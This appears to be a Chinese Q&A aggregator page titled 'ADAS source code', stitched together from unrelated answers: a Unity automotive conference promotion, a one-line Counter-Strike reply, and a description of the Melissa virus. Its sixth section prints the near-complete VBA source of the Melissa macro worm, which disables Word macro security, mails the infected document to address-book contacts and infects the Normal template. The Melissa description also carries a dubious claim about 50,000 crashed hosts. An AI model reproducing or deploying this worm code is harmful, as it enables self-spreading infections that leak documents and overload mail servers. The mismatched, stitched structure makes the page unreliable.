adas源码

Ⅵ 梅丽莎病毒源代码

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeMole.CountOfLines
ADCL = ADI1.CodeMole.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeMole.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeMole.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeMole.Lines(1, 1) = ""
ADI1.CodeMole.DeleteLines 1
Loop
ToInfect.CodeMole.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeMole.Lines(BGN, 1) <> ""
ToInfect.CodeMole.InsertLines BGN, ADI1.CodeMole.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeMole.Lines(1, 1) = ""
NTI1.CodeMole.DeleteLines 1
Loop
ToInfect.CodeMole.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeMole.Lines(BGN, 1) <> ""
ToInfect.CodeMole.InsertLines BGN, NTI1.CodeMole.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then
Selection.TypeText " Twenty-two points,plus triple-word-score,plus fifty points for using all my letters.Game's over. I'm outta here."
End Su

Ⅶ 北京经纬恒润工程咨询事业部怎么样子啊

国内汽车市场竞争愈发激烈，“黑科技”逐渐成为各大汽车厂商吸引消费者的“利器”之一，随着Z世代消费者崛起，“智能网联汽车”伴随着汽车和科技两个产业的创新和融合，从概念走入现实。在产业和资本的不断加码下，汽车厂商在设计、制造、品牌创新和市场营销等产品全生命周期中不断尝试各类新技术，实时3D技术便以其优异的交互性和高质量的实时渲染性，成为当下备受关注的“黑科技”之一。
根据全球领先的实时3D引擎Unity介绍，实时3D技术有望在多个领域为汽车工业带来创新，成为赋能汽车工业全生命周期的“黑科技”。
1
汽车概念设计可视化
使用 Unity 制作的本田 e Urban EV 展示
（Urban EV是本田的零排量代步电动汽车）

通过虚拟渲染替换实物模型与原型，实时3D可帮助开发人员更早地发现潜在设计问题，不再需要测试多个耗费成本的迭代。此外，实时3D还可帮助设计师在短时间内即创作出可供互动演示的内容，帮助设计概念可视化，助力创作全面升级。
2
沉浸式设计体验
Unity 赋能 XR沉浸式设计体验

很多年前，就有车企开始尝试使用先进的3D引擎，结合 AR/VR/MR 技术在设计阶段进行评审。但工业设计评审软件在多人协作和互动性上有一定的局限性，很难根据需求进行定制开发。而Unity实时3D引擎的强项恰恰是高度的可定制性及对跨平台设备的的强力支持。Unity能借由AR/VR/MR技术将真实的泥模和虚拟体验车做叠加，打通数据环节，实现沉浸式的设计体验。
3
汽车 HMI （人机交互界面）
以较低成本制作更酷炫的汽车 HMI 体验

实时3D技术同样有望在汽车HMI领域发挥潜力，重新定义未来人们驾驶和乘坐汽车的车内体验。在2020年的国际消费电子展（CES）上，Unity和业界HMI领先的汽车用户体验咨询公司icon incar共同打造了基于恩智浦i.MX 8QuadMax应用处理器的HMI体验。
在此项目中，icon incar设计了数字座舱内的用户体验UX和界面设计UI，并对人机交互体验进行了编程，Unity则移植了3D引擎，并将游戏和VFX体验集成到HMI系统。所有人机互动体验使用触屏和常规的游戏手柄就能实现，还可设置成声控或者手势控制。
icon incar和Unity共同对此项目进行了优化，确保在恩智浦芯片组上，各类HMI体验都能顺畅运行、发挥出色。
4
自动驾驶虚拟仿真测试
上海国际汽车城虚拟仿真测试平台，实时模拟天气变化

实时3D技术在算法训练中也扮演着重要角色。通过在虚拟世界中模拟难以预料的突发情景，诸如车祸、极端天气条件、倒在路上的树木等等，实时3D技术可以让无人驾驶交通工具在安全、低风险、低成本的条件下，进行算法的学习及完善。上海国际汽车城近日就与Unity合作构建了面向自动驾驶的虚拟仿真测试平台，帮助车企在虚拟环境中进行自动驾驶测试及培训。
5
沉浸式虚拟培训
沉浸式虚拟培训体验

各类车企、汽车零部件厂商每年都会举办员工及经销商培训会议，这类会议往往需要五湖四海的人员赶赴指定培训中心，由此耗费企业大量的时间、精力和成本。当下，已有不少车企开始使用实时3D可交互的线上培训平台来进行培训，受训人员无须舟车劳顿，戴上XR设备、上线培训平台，即可进入虚拟世界开始培训，企业和员工的负担都大大减轻。
6
品牌创新和市场营销
真实与虚拟渲染的汽车真假难辨

为吸引消费者，不少汽车品牌已经借助新技术实现远程看车，虚拟试驾等应用，为消费者带来互动感十足的购车和观展体验。此前，为了突出实时光线追踪的效果，Unity和NVIDIA携手BMW展出了2019年款BMW 8系轿跑车。在展示中，观众可看到一辆真实的汽车和一辆由Unity和NVIDIA实时渲染的汽车，两者难辨真假。
更多精彩，尽在中国Unity线上技术大会
在汽车领域，实时3D技术正在以超乎想象的方式赋能各个环节。如欲了解更多全球排名前十汽车制造商在实时3D技术应用上的最新动态，以及他们共同的合作选择Unity，不妨在即将正式开幕的中国Unity 线上技术大会一探究竟！
2020年11月16日-20日，由Unity举办的线上技术大会即将盛大开幕，这里不仅有Unity最前沿、最深入的核心技术分享，更有数字孪生、智能网联汽车、数字城市、创新品牌营销等多个领域的热门案例。
在11月18日的智能网联汽车主题专区中，沃尔沃汽车高工张晓辰、icon incar联合创始人Florian Gulden、上海淞泓智能汽车科技有限公司研发主任工程师窦瑞、经纬恒润汽车咨询事业部创新板块总监张大鹏、韩国 LG 电子公司美国研发中心首席工程师Steve Lemke将分享他们对 “智能网联汽车” 和 “自动驾驶” 的思考，以及Unity实时3D技术赋能汽车设计、研发、制造、营销环节的相关案例，干货满满不容错过。
智能网联汽车专场
沃尔沃汽车如何联手 Unity 探索上限
此次演讲中，来自沃尔沃汽车的高级工程师张晓辰将为我们介绍沃尔沃使用Unity的契机、主要应用场景，及在Unity的具体使用中遭遇的挑战和迸发的机遇。
张晓辰
沃尔沃汽车高级工程师
就职于沃尔沃汽车瑞典总部数年。从平凡的汽车交互系统工程师转型为虚拟工程的开拓者（参数丨图片）。致力于推进研发数字化和资源民主化，将爱好注入工作，用热情自我驱动的码农。

让愿景触手可及：Unity 3D 汽车人机交互 UX 原型设计开发解决方案
设计汽车人机交互界面是当下最复杂和最变化多样的设计挑战之一。在集成大量复杂功能外，还涉及很多人力及部门。icon incar的联合创始人将分享他在使用Unity对上述复杂体验进行原型设计开发上的心得，以及应用Unity弥合产品设计和实际开发之间的相关差异。

Florian Gulden
icon incar 联合创始人
Florian热爱汽车，也热爱移动出行，还热爱游戏和电子竞技。他是一个电子发烧友，在奥迪设计中心工作了多年后，2007年，他和来自iconmobile 的朋友们成立了icon incar。icon incar聚焦在数字用户体验设计咨询和创新服务，做这项服务的初衷是因为对设计持续的研究与创新是设计师一生追求的宗旨。
智能网联汽车城市级仿真平台建设及应用
在淞泓智能的分享中，窦瑞将基于国家智能网联汽车试点示范区针对智能驾驶汽车研发与测试服务建设的城市级仿真平台工程实践，从仿真的功能需求、场景建模、逻辑架构等方面介绍仿真测试的内涵与外延，并从示范区第三方平台的角度，提出针对自动驾驶仿真测试的思考。
窦瑞
上海淞泓智能汽车科技有限公司研发部主任工程师
窦瑞长期从事智能网联汽车测试服务相关技术研发管理工作，负责国家智能网联汽车（上海）试点示范区各类数据及业务平台的建设与应用，贴近行业一线，为政府监管和企业服务提供技术支撑。
从车辆仿真走向驾驶场景仿真
来自经纬恒润的汽车咨询事业部创新板块总监张大鹏将围绕“汽车创新”为我们带来仿真技术领域的分享，作为当下车联网竞争中的关卡要害，仿真技术从汽车开发到智能驾驶，为汽车厂商及企业解锁了贯穿全生命周期的全新体验。
张大鹏
经纬恒润汽车咨询事业部创新板块总监

张大鹏，硕士毕业于清华大学汽车工程系，后就职于北京经纬恒润科技有限公司，有着6年以上HIL系统开发、调试与测试经验，丰富的项目管理经验，丰富的车辆模型开发与应用经验；熟悉底盘控制器、ADAS及智能驾驶HIL解决方案。
LGSVL Simulator: 一个高保真的自动驾驶模拟器
本次Steve的演讲将会分享LG自动驾驶仿真技术是如何把车辆测试的成本降低到真实路测的十分之一甚至百分之一的。Steve还会同时分享，开发者们应如何借助技术免除制造测试车的巨额投入，在低成本的条件下进行概念验证。

Steve Lemke
韩国 LG 电子公司美国研发中心首席工程师
Steve曾在LG公司开源的自动驾驶和汽车平台项目担任要职，负责LGSVL自动驾驶模拟器，WebOS Auto车载娱乐系统，webOS 开放源代码版本和基于Linux的车载系统软件AGL（ Automotive Grade Linux)等。他主导的项目曾连续在2018到2020年的国际消费电子展（CES）上的AGL展示案例上亮相。

Ⅷ CS2.0源代码

Cs没出2.0呀？楼主说的是不是cs:s或者cs:p？

Ⅸ 美丽杀手病毒简介

这种病毒是专门针对微软电子邮件服务器MS Exchange和电子邮件收发软件0ut1ookExpress的Word宏病毒，是一种拒绝服务的攻击型病毒，能够影响计算机运行微软word97、word2000和0utlook。这种病毒是一种Word文档附件，由E-mall携带传播扩散。由于这种病毒能够自我复制，一旦用户打开这个附件，“美丽杀手”病毒就会使用0ut1ook按收件人的0ut1ook地址簿向前50名收件人自动复制发送，从而过载E-mai1服务器或使之损坏。“美丽杀手”病毒的扩散速度之快可达几何级数，据计算，如果“美丽杀手”病毒能够按照理论上的速度传播，只需要繁殖5次就可以让全世界所有的网络用户都都收到一份。“美丽杀手”病毒的最令人恐怖之处还不仅是拒绝电子邮件服务器，而是使用户的非常敏感和核心的机密信息在不经意间通过电子邮件的反复传播和扩散而被泄漏出去，连扩散到了什么地方可能都不得而知。据外电报道，在北约对南联盟发动的战争行动中，证实“美丽杀手”病毒己使5万部电脑主机和几十万部电脑陷于瘫痪而无法工作，网络被空数据包阻塞，迫使许多用户关机避灾。